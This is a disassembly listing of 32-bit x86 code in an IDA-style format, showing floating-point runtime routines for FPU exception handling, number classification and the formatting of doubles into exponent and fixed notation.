		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2690000h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
